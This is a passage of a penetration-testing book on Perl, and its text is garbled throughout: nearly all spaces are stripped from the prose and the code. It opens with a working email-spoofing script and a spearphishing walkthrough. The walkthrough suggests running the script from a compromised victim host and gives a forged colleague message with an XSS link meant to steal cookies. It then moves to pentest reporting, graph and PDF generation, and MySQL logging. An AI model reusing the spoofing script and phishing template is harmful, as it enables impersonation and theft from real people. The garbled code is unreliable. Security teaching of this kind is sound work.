Intheprecedinge-mailspoofingapplicationcode,weseetheuseofthenewPerl::Sendmailmodule.Thismoduleusesasimplesendmail()functionandtakesonlyoneparameter,ahashofthemailoptionsthatwewillnormallypassfromthecommandline.WegatherTo,From,andSubjectbyusingthenormal<STDIN>readlineinputoperator.Then,weuseitinaslightlydifferentwaythatallowsustoinputnewlinesandemptylinestomakethee-mailmessagebodylookmorenaturalwithawhile()loop.Oncewecompletethemessagebody,wetypeasingleperiodonanewline,justaswewouldwiththemailLinuxcommand,andthemessageisthensent.Ifanerrorisreturned,itisdisplayed,andifnot,thelogfromthelog()functionisdisplayed.
Ifwearecreative,therearemanypositionsfromwhichwecanpulloffasuccessfulspearphishingattackusingthisapplication.Firstoff,let’sconsiderwherewewillruntheprogram.IfourISPisblockingouroutboundteststoourowne-mailaddress,wecanconsiderusingthisprogramfromatarget-victim-compromisedmachineviaaSQLinjection,aLocalFileInclusion,orstraightfromthecommandline.Ifdoneasaone-liner,wecanchangetheprogramtotakeallparametersviacommand-lineargumentsandwecandropthelogoutputaswell.Thiswillcutdownourcodetoonlyafewlines.
Ifwestillhavedifficultyspoofingane-mailforasocialengineeringattackfromacompromisedsystem,anti-spamtechniquesmightbeemployedbytheclienttarget’snetworkadministrators:
![Page 286: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/286.jpg)
#!/usr/bin/perl-w
#SpoofemailwithPerl
useMail::Sendmail;
usestrict;
my$to=shiftordie;
my$from=shiftordie;
my$msg=shiftordie;
my%email=(
To=>$to,
From=>$from,
Message=>$msg
);
sendmail(%email)ordie$Mail::Sendmail::error;
ThisisassumingthesystemhasPerloranysendmailserviceinstalled.
Anotherwaywecanbecreativeisbyleveraginganye-mailaddressesthatwemighthavefoundduringourinformation-gatheringphasedescribedinChapter6,OpenSourceIntelligence.Atargetcanutilizeschemedpersonalizedcredentialdata,aswelearnedaboutinChapter9,PasswordCracking,forusernamesine-mailaddressesthatmatchtheuser’sfullorpartialnametomaketheusers’andadministrators’livesmucheasier.Anexamplewouldbetospoofane-mailfromanotheremployeetotheadministrativeordevelopercontact,statingthatthewebpageisproducingerrorsthatleakpathsoractualcodeandusernameswithaURL-encodedXSSlinkwithascriptthatdisplaysfalseerrorsafterstealingthetarget’scookiesandotherpersonalinformation.Ifweknowtheprogramminglanguageinterpreter,servertypes,orotherbasicinformationthatwecovered,wecanuseittomakethefalseerrormorebelievable.HeyBob,
Iamseeingstrangeoutputfromourpage,butonlyinFirefox.
http://targetvictim.site/page.php?pid=<URLencodedXSScodehere>
Itseemstobeshowingcodeandusernamesintheerrors!
Thanks,
~Alice
Asweseefromthefollowingscreenshot,ourconsoleoutput,thespoofedmessagetoourGmailaccount,lookslegitimate.
root@80211:~#perlspoofemail.pl
From:[email protected]
Subject:Siteisproducingerrorsthatleakpersonaldata!
Message:HeyBob,
Iamseeingstrangeoutputfromourpage,butonlyinFirefox.
http://targetvictim.site/page.php?pid=<URLencodedXSScodehere>
Itseemstobeshowingcodeandusernamesintheerrors!
Thanks,
~Alice
.
EOT
![Page 287: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/287.jpg)
Result:250OKid=1XNQom-0005yv-7l
Spearphishing,justasspoofinge-mailsusingweb-basedvulnerabilities,isaneasywaytoattemptasocialengineeringattackagainstourtargetclient.
![Page 288: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/288.jpg)
SummaryEventhoughsocialengineeringhasavastamountofphysicalsecurityandphysicalpenetrationtestingaspects,muchofthedigitalsocialengineeringlogisticscanbehandledwithourmightylittlefriend,Perl.ThischapterwrapsupourentireattackforthepenetrationtestaswehavepassedthroughagreatamountofvectorsandphaseslistedwithinthetechnicalguidelinesofthePTES.Inthenextchapter,wewilldiscussthereportingsectionofthePTESandhowwecangeneratedifferenttypesofreporting,includingPDFfiles,fromourinformationobtainedduringthepenetrationtestusingPerl.
Inthenextchapter,wemoveontothereportingphaseofthepenetrationtest.Here,wewilllearnhowtousePerltocreategraphsandsimplePDFreportsthatwecanuseforourownnote-takingthroughoutthepenetrationtestandfortheclienttarget’sfinalreport.
![Page 289: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/289.jpg)
Chapter12.ReportingThefinalgoalinapenetrationtestis,ultimately,thereports.Theprocessofplanningthereportsbeginstheminutewebegintestingandendstheminutewestop.Loggingsuccessfulstepsisnotonlycrucialforthelogisticsofthetargetclient,butcanalsoleadtofurtherexploitationaftercloseanalysis.Forinstance,portscanningalllivehosts,andportserviceenumerationfromChapter3,IEEE802.3WiredNetworkMappingwithPerl,canyieldrecordedresultstousewithremoteexploitationsoftware,suchasMetasploit.Also,ourtargetclientsmightoftenthinkofthefinalreportsaswhattheyactuallypayfor.Infact,it’snaturalformanyinstitutionstopayforthepenetrationtesttosimplyobeywithcompliancestandards,whichtothemmeanshavingahardcopyofthereporttoshowfortheexpenseofthetest.
Duetotheobviousnatureofeachtargetclienthavingvastlydifferentnetworkarchitecturesandnodes,eachpenetrationtest,ifdonethoroughly,shouldhaveadifferentsetofgoalsandoveralloutcome.Throughoutthecourseofthisbook,wehavedesignedmanypenetrationtestingtoolsthatsimplydumpedtheoutputtoourscreens.Becausethenote-takingprocessisobviouslycrucialtothevalidityanddepthofthefinalreportsgiventoourclienttarget,wewillexplorewaysinwhichwecanenhanceourprogramstocreatevisualrepresentationsofstatisticaldataandeventocreatedifferenttypesoffilessuchasplaintext,commaseparated,HTMLandevenPDF.
Inthischapter,wewill:
LearntheimportanceofthedifferentreportsinpenetrationtestingBrieflycovereachofthetestingsectionsUseafewPerllibrariesinasimplisticobject-orientedprogramming(OOP)mannerDiscusseachlineofPerlthoroughlyalongtheway
![Page 290: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/290.jpg)
Whoisthisfor?ThePTESbreaksthedocumentationandreportdownintotwosections;onesectionisforexecutive,high-levelreporting,andtheotherisfortechnicalreporting.Bothsectionsaretargetedforspecificaudiencesandalldatashouldbekeptwithutmostsecurityandsecrecy.
![Page 291: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/291.jpg)
ExecutiveReportThissectionofthereportshouldbeusedforthosewhoaredirectlyimpactedbysuccessfulpenetrationresults,andthoseinchargeofthesecurityplanwithinourtargetclient.ThePTESoutlinesthefollowinginformation:
BackgroundOverallPostureRiskRankingGeneralFindingsRecommendationSummaryStrategicRoadmap
TheBackgroundshouldlisttheoverallgoalsthatthetestistryingtoachieve,usuallyputforthbythetargetclientduringtheinterviewandinitialagreementprocesses.
ThePostureismentionedasthe“overalleffectivenessofthetest”.Thisincludesfoundvulnerabilities,whichshouldbediscussedataveryhigh,almostontechnicallevel.Anexamplewouldbetolistthatavulnerabilitywasdiscovered,whattheyneedtodotoresolvetheissue,andwhyitisimportanttoresolvetheissueinageneralizedclearmanner.Wewillnowtakealookatareportsnippet,whichisaconciseexampleofhowtomentionafoundvulnerabilitywithinourclienttarget’snetwork:
UponpursuingadiscoveredopenedportononeofyourmachinesinofficeX,wediscoveredanoutdatedwebservicerunningonanoutdatedversionofLinuxOS.Thisledustotheremoteexploitationofthemachine,whichledustoserverinformation,schemalogincredentials,andultimatelytheclientcardholderdatawithinyourdatabases.
Ifdeemedtrulynecessarytocontinuetosupportthissystem,itshouldberemovedfromthenetworkandupgradedassoonaspossiblebyyoursystemsadministrationteam.Afterwhich,ourteamwillneedtore-testtheserverforvulnerabilities.
ThisvulnerabilitydefiesadirectinformationsecuritycompliancefromthePaymentCardIndustry(PCIDSS)standardswhichenforcesupdatingandsecuringsystemsandapplications,andrestrictingaccesstocardholderdata.
Thepostureshouldnotcontaineverysingletechnicaldetail,butshouldcontainageneralizationofstepsthatweretakenwithinthetest.Aftertheposture,weneedtorankthevulnerability.ThePTESoutlinesagoodgeneralrankingsystemthatourreportshouldincludeasakey.Itbasestherankingsonfinancialloss.Forinstance,thepreviousexampleoftheoutdatedsystemthatledtothediscoveryofcardholderdatawouldfallunderanextremecategory,asitisquitepossibletosufferacatastrophicfinanciallossafterbeingexploitedandreapedfromapayloadofthismagnitude.ThefollowingisachartdisplayingrankingsystemdescribedbythePTES:
Category Ranking
Extreme (13-15)
High (10-12)
![Page 292: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/292.jpg)
Elevated (7-9)
Moderate (4-6)
Low (1-3)
Eachcategorydefinestheamountofriskinvolvedwiththelossofsecuritycontrolsandfinances.
TheGeneralFindingssectioncanlistthestatisticaldataoftheoverallprocess.Thesestatisticscanrepresentthemeasurementoftheamountofvulnerabilitiesfound,listedbyrankingasaratiooftheoverallsumofalldiscoveredsystems.Theseincludeitemssuchasoutdatedorunpatchedsoftware,rogueWi-FiAPs,rogueserversorservicespossiblyunknowinglyinstalledbyemployees,nonpasswordprotectednetworkservicesandshares,serviceswithweakpasswordsornoprotectionagainstbruteforceattacks,outdatedholeswithinfirewalls,andanyothergeneralvulnerabilitydataobtainedduringourpenetrationtest.
Infact,thePTESstatesthatthisdatacanevenbepresentedinchartsorothergraphicsdataasseenfromthefollowingdiagramrepresentingwebapplicationproductionserversfromourclienttarget:
Theprecedingdiagramshowsinaclearmannerthevulnerabilitiesfoundinasingleenvironmentwithonesinglechart.
ThenextsectionshouldbeRecommendationSummary.ThissectioncansimplyreiteratethegeneralizedstepsfoundintheOverallPosturesectiontoremediateissuesfoundandlistedinourpenetrationtestreport.WecantakeintoaccountthatExecutiveSummaryishigh-leveldocumentationforindividualswhoaren’tfamiliarwithorcareaboutthegorydetailsofhowanexploitwasperformedandwhyitwaspossible.
Finally,StrategicRoadmapshouldbewrittentohelpindividualsinvolvedinthesecurityofthetargetclientremediatethevulnerabledevicesandservicesdiscoveredduringthe
![Page 293: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/293.jpg)
penetrationtest.Thisisaprofessionalroadmap,whichisonlyasuggestiontobeanalyzedintermsofthebusinessimpact,includingfinancesanddowntimebythetargetclient.
![Page 294: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/294.jpg)
TechnicalReportTechnicalReportiswhereourpenetrationtestingtechniquecanreallyshine.Thissectionwilldescribe,inasmuchdetailaspossible,theprocessesandmethodsusedduringourpenetrationtest.Sincethisprocedureshouldbewell-documentedfromstarttofinishinourownsummaryandnotes,anyothersecurityconsultantorpartyshouldbeabletoreplicateourprocessesnomatterwhichtoolsareused.Whatifourworkisunbelievable?Whatifasecondopinionisdecidedonbyourclienttarget?Ourmethodsmustmatchourdocumentationandonegoodwaytodosoistomakeourapplicationsoutputtoatextfileuponrunningthem.EachofthesectionswithinTechnicalReportareoutlinedandwelldocumentedinthePTESdocumentationforlistingasummary,intelligencegathering,vulnerabilityanalysisandconfirmation,postexploitationandrisk,andevenasummary.
Sofar,thedefinitionsofthesereportsdescribedatathatshouldnotbecannedorscripted.Havingpoororunreliabledocumentationwillcertainlyruinthereputationandworkofasecurityconsultingfirm.Onethingwecanscript,however,istheinformationgatheringnotesforourownsummaryandnoteswithwhichwecancreateourfinalreport.WewillcoverhowtousePerltodosointhefollowingsubsections.
Inthenextfewsubsections,wewillcovertwoPerllibrariesthatwillbeexplainedinanobject-orientedprogrammingsyntax.WealreadycoveredafewPerllibrariesthatusedthissyntax,butbeforecontinuing,it’sbesttobrushuponourknowledgeofterms.
![Page 295: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/295.jpg)
DocumentingwithPerlPerloffersusmanywaystocreatefilesandreports,includingPDFfiles,Worddocuments,TXTandCSVfiles,andmore.Inthissubsection,wewillexamineafewwaystodocumentpositiveresultsfromourpenetrationtestinasinglefilethatcanbeusedlatertocreateafinaldraft.What’sgreataboutthenotetakingprocessisthatitisentirelyuptothepenetrationtester.Propernotetakinganddocumentationcanleadtoamuchbetterfinalreportandsometimestoadvancingthevulnerabilityduringthetest.Thisisaskillthatwewilldevelopovertime,andusingPerltodosoisagreatbenefit.
![Page 296: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/296.jpg)
STDOUTpipingWehavealreadytakenalookathowwecanpipetheoutputofourPerlprogramstofilesusingtheBashshellintheOutputtofilessectioninChapter2,LinuxTerminalOutput.Thiscanbeextremelyhelpfulforourownsummaryandnotesduringthepenetrationtest,butwemusttakethisintoconsiderationduringthecreationofourpenetrationtestingtools.Aswecreatethesetools,itisbesttokeepauniformfiletypethroughouttowhichwecaneasilyparse.
![Page 297: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/297.jpg)
CSVversusTXTComma-separatedvalue(CSV)filesarewidelyusedbymanyapplications,includingdatastorageapplications.Also,itismucheasiertoparsethedatainauniformfilesuchasthis,anditcanbedoneusingthemosttrivialregularexpressions,aswewillseeinthenextsectionwhenwecreateagraphusingPerl.Evenwithduplicateentries,aCSVfilecanmakeourworkmucheasiertosummarizelaterduringthecreationofourfinalreports.
![Page 298: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/298.jpg)
GraphingwithPerlBeforecreatinggraphsusingPerl,wemustmakesureourenvironmentincludestheGDGraphicslibrary.OnaDebianLinuxmachine,wecanusetheAPTpackagemanagertoinstallitasfollows:
root@80211:~#apt-getinstalllibgd-graph-perl
Then,wecaninstallthePerlmoduleusingCPANaswehavelearnedtodoinChapter1,PerlProgramming,asfollows:
cpan–iGD::Graph
Nowlet’stakealookathowwecancreateagenericgraphcreationPerltoolthatwecanuseincreatingourownsummaryofthepenetrationtestusingtheGD::GraphPerlmodule.Asusual,wewillbreakthiscodeintotwosections,oneforsettingupourenvironment,andthenextfortheworkflow:#!/usr/bin/perl-w
useGD::Graph::bars;
usestrict;
my$usage=“Usage:./graph.pl<title><servercount><YAxislabel><CSV
file>”;
my$title=shiftordie$usage;
my$serverCount=shiftordie$usage;
my$yLabel=shiftordie$usage;
open(CSV,shift)ordie$usage;
my@vulnLabel;#holdalllabels
my@vulnData;#holdalldatavalues
my%vulnStats;#usedtocreate“values”
Intheprecedingcode,wewillbeginbyusinglibrariesandincludestatementsaswenormallydo.Thecommand-lineargumentsarethenparsedandthetwoarrays,@vulnLabeland@vulnDatawillbepopulatedusingthePerlassociativearray,orhash,%vulnStats.ThishashispopulatedbyreadingintheCSVfile.Inthisexample,wewillbeusingasimpleCSVformat,whichincludestheIPaddressandvulnerabilityfound,asfollows:10.0.0.2,xss
10.0.0.2,outdatedserversoftware
10.0.0.3,sqlinjection
10.0.0.3,outdatedserversoftware
10.0.0.3,outdatedserverOS
10.0.0.3,bruteforceOK
10.0.0.4,outdatedserversoftware
10.0.0.5,outdatedserversoftware
10.0.0.10,xss
10.0.0.10,bruteforceOK
10.0.0.10,admininterface
10.0.0.10,telnetplaintext
ThisCSVexampleisincrediblyeasytocreatebyaddingasimplecodetoourinformationgatheringsoftwarethatwehavealreadycreatedthroughoutthecourseofthisbook.Now
![Page 299: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/299.jpg)
let’stakealookattheworkflowareaofthePerlprogramandseehowthisisdone:while(<CSV>){#foreverylineintheCSV
chomp$_;
if(m/^([^,]+),([^,]+)$/){
if($vulnStats{$2}){#ifexists
$vulnStats{$2}++;#incrementbyone
}else{
$vulnStats{$2}=1;#didn’texist
}
}
}
while(my($k,$v)=each%vulnStats){
push(@vulnLabel,$k);#saveeach
push(@vulnData,$v);
}#setdatausingpointers/refstoarrays:
my@data=(\@vulnLabel,\@vulnData);
my$grph=GD::Graph::bars->new(300,380);
#Setupthefonts:
$grph->set_title_font(‘./fonts/calibri.ttf’,12);
$grph->set_x_axis_font(‘./fonts/calibri.ttf’,12);
$grph->set_y_axis_font(‘./fonts/calibri.ttf’,12);
$grph->set_y_label_font(‘./fonts/calibri.ttf’,12);
#Setupthecolorofbars:
$grph->set(dclrs=>[‘#5b9bd5’]);
$grph->set(#theseoptionsdescribedonCPANpage
title=>$title,
y_label=>$yLabel,
x_labels_vertical=>1,
text_space=>20,
y_max_value=>$serverCount,
y_min_value=>1,
interlaced=>undef,#thenextthree
transparent=>0,#tieinwithPDF::API2
bgclr=>“white”,
)orwarn$grph->error;
#nowwecanwritethePNGfile:
my$png=$grph->plot(\@data)ordie$grph->error;
open(PNG,‘>pie.png’)ordie$!;
binmodePNG;#changemode
printPNG$png->png;#printbinarytoPNGfile
Intheworkflowareaofthepreviousprogram,wewilluseasimplewhile()statementandaregularexpressiontoparseouteachlineoftheCSVtowhichwepopulatethe%vulnStatshash.Afterthis,wewillpopulatethearrays@vulnDataand@vulnLabelbyloopingthrougheachassociativeelementin%vulnStats.Thesearraysneedtohavethesameamountofelementsandmatchforthemultidimensionalarray@datatobeproperlyparsedbytheplot()methodofthe$graphobject.
AnyfontcanbeusedinthisapplicationaslongaswehavedownloadedtheTTFfontfilebeforehand.Inourcase,wehaveusedthecalibri.ttffileinthefontsdirectory,whichwasdownloadedfreelyonlinebeforehand.Theset_title_font,set_x_axis_font,set_y_axis_font,andset_y_label_fontmethodsareusedtomakeacleaner-lookinggraphwithnicerfontstowhichwewillspecifyasimpleTTFfontfile.Then,wewillcalltheset()methodtosetoptionslistedintheGD::GraphCPANpage.Theseoptionsdefine
![Page 300: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/300.jpg)
howthegraphwilllook.Wesetthemaximumheightoftheyaxistothenumberofmachinesscanned,andtheminimumofyto1.
Next,wewillusetheplot()methodofthe$grphobjectandcreatethe$pngobject.Thisobjecthasapng()method,whichisprintedtotheopenedfile-handlePNG.Thisactuallycreatesthegraphimageandfinally,wecancreateasimpleEND{}compoundstatementthatcheckswhetherfiledescriptorsareopenedandclosesthemifso:END{#closeanopenedfilehandles:
closePNGif(fileno(PNG));#returnstrueifopened
closeCSVif(fileno(CSV));
}
AsamplegraphusingtheCSVvalueslistedpreviouslylookssimilartothefollowingdiagram:
TheprecedingPNGfilewascreatedusingourPerlprogram.ThisgraphicallyrepresentspenetrationtestdatathatcanbeembeddedintoourfinalexecutivereportPDForHTMLfiles.
Now,let’stakealookathowwecancreateaPDFfileusingPerlprogrammingforourownsummaryandnotes.WewillalsolearnhowtointegratethisPNGgraphintothePDFfile.
![Page 301: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/301.jpg)
CreatingaPDFfileCreatingaPDFfileusingPerlcanberathereasyusingthePDF::API2Perllibrary.Thislibraryallowsustouseanyfontwewouldliketoembed,specifyexactlywheretoplottext,embedourgraphimage,andmuchmore.Nospecialrequirementsareneeded,sowecansimplyuseCPANtoinstallthemodulejustaswehavedonethroughoutthecourseofthisbookanddiverightintothecodeaftergatheringourrequirements.
Sincenotallpenetrationtestsarealike,wemaybepresentedwithdifferentdataateachphaseofeachtestforeachtargetclient.Withthisinmind,weshouldbecarefulastowhichdatawewantourscripttohandleandparseintothePDFfile.ThesePDFdraftswillbeusedintheendphaseduringthefinalreportcreationforourownreference,soit’snecessarytodouble-checkallresults.Thisisthefirstrequirement.
SincewehavetospecifyexactlywherethetextisplottedonthePDFpage,weneedtokeeptrackofthepreviouslywrittenline’splaceandthefontsizeaswell.Thisisthesecondrequirement,aswedon’twanttojumbletexttogetheror,worse,notincludepositiveresultsfromourpenetrationtest.Todoso,wewillsimplyusetwoglobalvariablesfor$fontSizeand$lineNum.Let’sbreakthecodeintosectionsforcreatingvariablespaceandtheworkflow:#!/usr/bin/perl-w
usestrict;
usePDF::API2;
#CreateablankPDFfile
my$pdf=PDF::API2->new();
my$font=$pdf->ttfont(‘fonts/calibri.ttf’);
my$page=$pdf->page();
my$lineNum=700;#startat700.
my$fontSize=20;#startwithHeadersize
my$margin=20;#theleftmarginfortext
#Addsometexttothepage
my$text=$page->text();
subfSC($);#prototype
subnextLine();
Intheprecedingcode,weprepareourenvironmentforparsingthedataandcreatingthePDFfile.Weuseanobject-orientedapproachforthePDF::API2classandcreatea$pdfobject.Wethencreatea$fontobjectbyusingthettfont()methodfromthe$pdfobject.ThisistospecifyanicefontforourPDFfileandwespecifythefontpreviouslyusedinthecreationofourgraph.Afterthis,wecreatea$pagepageobjectfromthe$pdfobject’spage()class.Thiswillbeusedtoimplantourgraphimageandalllinesoftext.
Next,wespecifytheyaxispixelcoordinatetostartfrom700;thismeans700pixelsfromthebottomofthepage.Then,wechoosethefontsizetouseforourfontasthe$fontSizevariable.Weuseavariablehere,becausewewillwriteasimplesubroutinelater,whichwillchangethefontsize.Next,wechooseanxaxiscoordinateorleftmargintowhichwewanttostartourtext.Finally,wecreatea$texttextobjectusingthetext()methodofthe$pageobject.Nowlet’stakealookattheworkflow.Wewillbeginthefollowingcodebycallingmethodsfromthe$textobject.First,wewillsetthefontandfont’sheight,thenwe’lltranslatetothepagethelefthandmarginandtheyaxispixelcoordinateusingthe
![Page 302: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/302.jpg)
translate()method.Wewillthenplantthetextinquotesfromthetext()method.$text->font($font,$fontSize);#whichfontandsize?
$text->translate($margin,$lineNum);#starthere(700)
$text->text(“PenetrationTestingNotes”);#whattext?
$margin=23;
nextLine();#movedownthepage
$text->font($font,$fontSize);#whichfontandsize?
fSC(12);#changefontsizeto10px
$text->text(“09.16.2014”);
nextLine();
fSC(14);#changefontsizeto13px
$text->text(“WEBTestEnvironmentAnalysis”);
fSC(12);#changefontsizeto10px
open(CSV,shift);
nextLine();
while(<CSV>){
chomp;
nextLine();
$text->translate($margin,$lineNum);
$text->text($_);
}
nextLine();
nextLine();
my$png=$pdf->image_png(“pie.png”);
my$gfx=$page->gfx();
#image,positionX,positionY:
$gfx->image($png,$margin,($lineNum-380-10),1);
Wethenchange$margintoindent3pixelsas20+3=23.WethencallourfirstsubroutinenextLine(),whichwewillcoverlateron.Thissubroutinesimplycreatesanewlineinthedocument.Wethenchangethefontheightusingthefont()methodofthe$textobjectandcallthefSC()subroutine,whichwewillalsocoverlater.Thissubroutineperformstheexactsamemethodforchangingthefontsizeandwesimplypassitanintegerforheightinpixels.ThisprocessrepeatsuntilwedecidetoputthecontentsofaCSVfileintothepage.Here,wesimplyexecuteawhile()loop,andforeachlinewechomp()offthelineend,callnextLine()tomovedowntothenextline,translatethetextusingthemarginandtheyaxiscoordinate,andthenplacethetextontothepagewiththetext()methodofthe$textobject.
WethencallnextLine()twiceandbeginthecodetoplacethegraphontothePDFfilepage.Wedosobycreatinga$pngobjectusingtheimage_png()methodofthe$pdfobject.Wealsocreateagfx()graphicsobjectfromthegfx()methodofthe$pageobject.Finally,wecalltheimage()methodofthe$gfxobjectandpasstoitthe$pngobject,aleft-handmargin,ayaxiscoordinatepixel,andasizeratioof1:1,representedasjust1.Now,wecanquicklygooveroursubroutinesandEND{}compoundstatement.#subroutines
subfSC($){#fontsizechange
$fontSize=shift;
$text->font($font,$fontSize);#whichfontandsize?
return;
}
subnextLine(){#hereiswherewemovedownthepage
![Page 303: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/303.jpg)
$lineNum-=$fontSize;#canbeusedfornewlines“\n”
$text->translate($margin,$lineNum);#becauseitknowsthe
return;#previousfont-sizeused.
}
END{
$pdf->saveas(‘notes.pdf’);
}
Intheprecedingcode,weseeonlytwoofoursubroutinesandcompoundstatementforEND{}.ThefSC($)methodtakesonlyanintegerforthefontsizeinpixels.Itcallsthefont()methodofthe$textobjectjustasitdidintheworkflowcode.ThenextLine()subroutineexistssolelybecausewecannotsimplyputanewlinecharacter(\n)intothetextweintendtoembedintothePDF.Ittakesthecurrentlinenumberandsubtractstheheightofthefont,similartohowasimpletexteditormovesthecursordownaline.
TheEND{}blockwrapsupallofourcodeandsavesthePDFfileusingthesaveas()methodfromthe$pdfobject.Thissavesthefiletothediskandcanbeopenedwithawebbrowser’sPDFreaderpluginorastandalonePDFreader.
Nowlet’ssaveourPerlprograminfulltopdf_create.plandtakeaquicklookatwhatourPDFlookslikeafterrunningournewprogrambypassingitaCSVfileandafontsizeasfollows:
trevelyn@wnld960:~/ch12$perlpdf_create.plmachines.csv20
Here,machines.csvisasimplecomma-separatedfilethatcontainstheIPaddressofthesystemandthevulnerabilityfound.
![Page 304: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/304.jpg)
Intheprecedingscreenshot,thePDFlooksjustaswewanteditto.Thegraphimagewecreatedearlierisembeddedunderneaththesystems’IPandvulnerabilitydata.
![Page 305: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/305.jpg)
LoggingdatatoMySQLLoggingdatadoesnotonlyhavetobedoneusingcommonlyusedfilessuchasthosewehaveusedearlier.Infact,wecanevenlogourdataintoMySQLdatabasesusingtheNet::MySQLPerlmodule.
Keepingourlogsindatabasesisefficientbecauseofthefactthatwehavemultiple,standardizedwaysofaccessingthedata.Forinstance,wecanaccessitusinginterpretedweblanguagessuchasPHP,fromtheLinuxcommand-lineinterface,or,asinourfollowinglesson,usingPerl.First,weneedtostartupaMySQLserver.ThisisanincrediblyeasytasktodowithLinux.Thefirststepistoinstalltheserverandgiveitarootpassword.WithaDebian-basedLinux,thiscanbedoneusingaptitudewiththefollowingcommand:
root@80211:~#apt-getupdate&&apt-getinstallmysql-server
IfusingWEAKERTH4NLinux,aMySQLserverisalreadyinstalledwiththerootpasswordofweaknetandthecommandissuedearlierwillupdatetheaptitudepackagelistandupgradetheMySQLserversoftware.Next,let’screateasimpledatabasespacetouseduringourpenetrationtestwiththefollowingMySQLcommands:
mysql>createtablehost(idintnotnullauto_incrementprimarykey,ip
varchar(15)unique);
QueryOK,0rowsaffected(0.01sec)
mysql>createtablevuln_success(host_idint,vulnerablevarchar(200));
QueryOK,0rowsaffected(0.00sec)
mysql>createtableportscan(host_idint,open_portint);
QueryOK,0rowsaffected(0.01sec)
mysql>showtables;
+–––––––—+
|Tables_in_pentestlogs|
+–––––––—+
|host|
|portscan|
|vuln_success|
+–––––––—+
3rowsinset(0.00sec)
mysql>
